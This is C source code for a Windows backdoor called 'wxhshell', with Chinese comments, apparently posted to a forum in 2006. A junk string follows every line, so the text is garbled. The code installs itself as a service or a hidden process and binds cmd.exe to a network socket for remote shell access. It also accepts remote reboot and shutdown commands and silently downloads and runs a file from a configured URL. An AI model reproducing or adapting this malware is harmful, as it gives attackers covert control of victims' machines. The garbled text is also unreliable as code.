  // 帮助 X%yG{\6:  
  case '?': { ? i _ACKpw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8?Zhh.  
    break; J ?o  
  } 5%jhVys23  
  // 安装 "D'e  
  case 'i': { |nNcV~%~  
    if(Install()) E@GYl85fI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R*r4)+gd  
    else @j|E"VYY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *2h%dT:,%  
    break; >V6t L;+  
    } ?c#s}IH  
  // 卸载 wtS*-;W  
  case 'r': { Y5aG^wE[:  
    if(Uninstall()) LdZVXp^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }a;xs};X;  
    else ?~o`mg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); neFwxS?  
    break; 3-/|G-4k7  
    } b6-N2F1Fs  
  // 显示 wxhshell 所在路径 6q^$}eOt  
  case 'p': { 6ld4'oM  
    char svExeFile[MAX_PATH]; ` @QZK0Ox  
    strcpy(svExeFile,"\n\r"); O=jLZ2os  
      strcat(svExeFile,ExeFile); `G$>T#Dq  
        send(wsh,svExeFile,strlen(svExeFile),0); x_Ev2 c'4  
    break; ^.A*mMQ  
    } /"X_{3dq?  
  // 重启 =mYf] PIX  
  case 'b': { FI^Wh7J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AlQhKL}|s  
    if(Boot(REBOOT)) &l+Qn'N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|.}>SfL^u  
    else { c,@Vz 7c  
    closesocket(wsh); CzBYH   
    ExitThread(0); AqgY*"A7  
    } E&8Nh J  
    break; `0Udg,KOs  
    } Wep^He\:  
  // 关机 mz0{eO  
  case 'd': { k-ZO/yPo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y#os6|MV#  
    if(Boot(SHUTDOWN)) vm@V5oH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TnQ>v{Rx  
    else { JSB+g;  
    closesocket(wsh); vbmt0df  
    ExitThread(0); 5M>h[Q"R  
    } naR<  
    break; #aX#gh}1  
    } $UzSPhv[  
  // 获取shell /NQrE#pb  
  case 's': { M@T{uo  
    CmdShell(wsh); sRt7.fe  
    closesocket(wsh); ^Q#_  
    ExitThread(0); +QN4hJK  
    break; H8YwMhE7  
  } Z#}sK5s  
  // 退出 6 ) i-S<(  
  case 'x': { #]dm/WzY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p<r^{y  
    CloseIt(wsh); M+:5gMB'  
    break; Q>$B.z  
    } X2V+cre  
  // 离开 fnX[R2KZ  
  case 'q': { k[8F: T-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x{;{fMN1  
    closesocket(wsh); )Ra:s>  
    WSACleanup(); bo#xqSGQ  
    exit(1); DCp8rvUI  
    break; a6gw6jQ  
        } y^H5iB[SPL  
  } N)mZ!K44  
  } rfonM~3?'  
6 ZRc|ZQ  
  // 提示信息 LZ)g&A(j?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ g!!#ad  
} n1; a~0P  
  } +Kgl/Wg%  
:? )!yI  
  return; 4Wgzp51Aq!  
} %ap]\o$^4  
4P#jMox  
// shell模块句柄 =+_nVO*  
int CmdShell(SOCKET sock) .iV=ybMT  
{ j)/Vtf  
STARTUPINFO si; |"K%Tvxe  
ZeroMemory(&si,sizeof(si)); {*;8`+R&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o<A-ETx<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gE#|eiu  
PROCESS_INFORMATION ProcessInfo;  B=*0  
char cmdline[]="cmd"; X_'tgP9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); te[uAJ1 N  
  return 0; ;R 6f9tu2  
} /\Nc6Z/ L  
@Nb/n  
// 自身启动模式 3~fi#{  
int StartFromService(void) K3vZ42n  
{ SOG(&)b  
typedef struct h<LS`$PK;E  
{ / ^)3V}  
  DWORD ExitStatus; k% \;$u=%  
  DWORD PebBaseAddress; 9+y&&;p  
  DWORD AffinityMask; wxB HlgK4z  
  DWORD BasePriority; mD> J,E  
  ULONG UniqueProcessId; jy0aKSn8  
  ULONG InheritedFromUniqueProcessId; vFHeGq70j  
}   PROCESS_BASIC_INFORMATION; }],l m  
w &YUb,{Y  
PROCNTQSIP NtQueryInformationProcess; ^}2!fRKAmo  
)7Hx <?P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nN$.^!;&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N'{Yhx u  
o,j_eheAM  
  HANDLE             hProcess; g:RS7od=,  
  PROCESS_BASIC_INFORMATION pbi; Wj3i*x$  
rZ,3:x-:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '9]?jkl  
  if(NULL == hInst ) return 0; #SHJ0+)o  
n]vCvmt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N1Xg-u?ul#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?`OF n F,K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @G]*]rkKb  
EyR/   
  if (!NtQueryInformationProcess) return 0; gWjYS#D  
>4bw4 Z1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (soTkH:#  
  if(!hProcess) return 0; s8A"x`5(  
 ]LsT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Gfx !.[Y  
z z]~IxQ  
  CloseHandle(hProcess); %npLgCF  
_GY2|x2c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D4"<suU|.  
if(hProcess==NULL) return 0; #Qg)4[pMJ  
`[E-V  
HMODULE hMod; ga KZ4#  
char procName[255]; c{`!$Z'k<  
unsigned long cbNeeded; 8MW-JZ  
!m=Js"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | J'k 9W"  
*:\[;69[  
  CloseHandle(hProcess); XRM/d5  
sBWyUD  
if(strstr(procName,"services")) return 1; // 以服务启动 [< 9%IGH  
gs0 jwI  
  return 0; // 注册表启动 hG`@#9|f  
} {B#w9>'b  
6f0o'  
// 主模块 S_*Gv O  
int StartWxhshell(LPSTR lpCmdLine) 3 P75:v  
{ e6J>qwD?  
  SOCKET wsl; f3vl=EA4|  
BOOL val=TRUE; 4TQmEM,  
  int port=0; 5`}za-  
  struct sockaddr_in door; ,d!@5d&Zi  
;j~%11  
  if(wscfg.ws_autoins) Install(); 2xi; 13?  
1foG*   
port=atoi(lpCmdLine); UZ<.R"aK  
_H}hK kG+  
if(port<=0) port=wscfg.ws_port; _ZJQE>]nWu  
O.Te"=^"F  
  WSADATA data; y] 9/Xr/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V"gKk$j7  
1W.oRD&8j/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J 7dHD(R8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %H_-`A`  
  door.sin_family = AF_INET; ' 8R5 Tl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u"T9w]Z\  
  door.sin_port = htons(port); @b2?BSdUp  
GM8>u O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Ar|i8^G3  
closesocket(wsl); 5D-as9k*  
return 1; 2!9W:I7  
} 1f"}]MbLR  
3DCR n :  
  if(listen(wsl,2) == INVALID_SOCKET) { A#Ga!a  
closesocket(wsl); <AJRU l  
return 1; N*PJ m6-  
} SMd[*9l [  
  Wxhshell(wsl); B4zuWCE@  
  WSACleanup(); xHx_! )7  
fQ.S ,lMe  
return 0; PktnjdFV  
TZn5s~t  
} -W/D Cj<  
-ciwIS9L  
// 以NT服务方式启动 [EVyCIcY,h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BTO l`U  
{ iB~dO @  
DWORD   status = 0; bF;|0X$ x  
  DWORD   specificError = 0xfffffff; VgY6M_V  
Mu.oqT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q?>*h xzoP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P uQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &liFUP?   
  serviceStatus.dwWin32ExitCode     = 0; =_6 Q26  
  serviceStatus.dwServiceSpecificExitCode = 0; :YLYCVi|  
  serviceStatus.dwCheckPoint       = 0; F7=\*U  
  serviceStatus.dwWaitHint       = 0; @C('kUX~!  
>$3 =yw%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1x sJz^%V  
  if (hServiceStatusHandle==0) return; hr&UD|E=  
p2O[r  
status = GetLastError(); P $r!u%W  
  if (status!=NO_ERROR) TL -AL tG  
{ xvWP^Qkb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !af;5F  
    serviceStatus.dwCheckPoint       = 0; >r4BI}8SK<  
    serviceStatus.dwWaitHint       = 0; !WB3%E,I  
    serviceStatus.dwWin32ExitCode     = status; =8]Ru(#Ig  
    serviceStatus.dwServiceSpecificExitCode = specificError; od!s5f!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uc=u4@.>  
    return; D-m%eP.  
  } xkkG#n)  
IG%x(\V-e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tPw7zFy6r  
  serviceStatus.dwCheckPoint       = 0; qr*e9Uk^  
  serviceStatus.dwWaitHint       = 0; b$*G&d5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F"tM?V.|  
} S4E@wLi  
2@&"*1(Xu  
// 处理NT服务事件,比如:启动、停止 J|z' <W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I'<sJs*p  
{ # ?u bvSdU  
switch(fdwControl) 3m~3l d  
{ {D]I[7f8Ev  
case SERVICE_CONTROL_STOP: E*v+@rv  
  serviceStatus.dwWin32ExitCode = 0; nXh<+7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %7Gq#rq  
  serviceStatus.dwCheckPoint   = 0; {PL,3EBG  
  serviceStatus.dwWaitHint     = 0; #yCnM]cEn  
  { ;~}!P7z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /sSif0I24  
  } nxuR^6 Ai  
  return; L_=3`xE _  
case SERVICE_CONTROL_PAUSE: Lf Y[Z4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G<~P||Lu^  
  break; #hEU)G' $+  
case SERVICE_CONTROL_CONTINUE: '?E@H.""  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +J !1z  
  break; ~}G#ys\1  
case SERVICE_CONTROL_INTERROGATE: (Q|Y*yI  
  break; 1fh6A`c  
}; 8PGuZw<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2bpFQ8q  
} +C4NhA2  
[} %=& B  
// 标准应用程序主函数 ZgzYXh2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hnv0Loe.IW  
{ KeC&a=HL  
~HBx5Cpi  
// 获取操作系统版本 W6yz/{Rf  
OsIsNt=GetOsVer(); 9:Z|Z?>?  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  Z Mf,3  
<)gTi759h)  
  // 从命令行安装 y)`q% J&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2AjP2  
42 rIIJ1A  
  // 下载执行文件 p?+;[!:  
if(wscfg.ws_downexe) { u$1^=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) liH1r1M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;;zd/n2b  
} v/G^yZa  
!p 70g0+  
if(!OsIsNt) { JjQTD-^  
// 如果时win9x,隐藏进程并且设置为注册表启动 6IL-S%EGK1  
HideProc(); mP ^*nB@,  
StartWxhshell(lpCmdLine); 2!Pwg0%2  
} d#HN '(2t  
else Hd~fSXFl  
  if(StartFromService()) KRj3??b  
  // 以服务方式启动 rj;~SC{  
  StartServiceCtrlDispatcher(DispatchTable); G)7J$4R  
else h,2?+}Fn  
  // 普通方式启动 N|s8PIcSp  
  StartWxhshell(lpCmdLine); a~`,zQ -@  
uulzJbV,K  
return 0; S L~5[f  
}
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只看该作者 1 发表于: 2006-10-10
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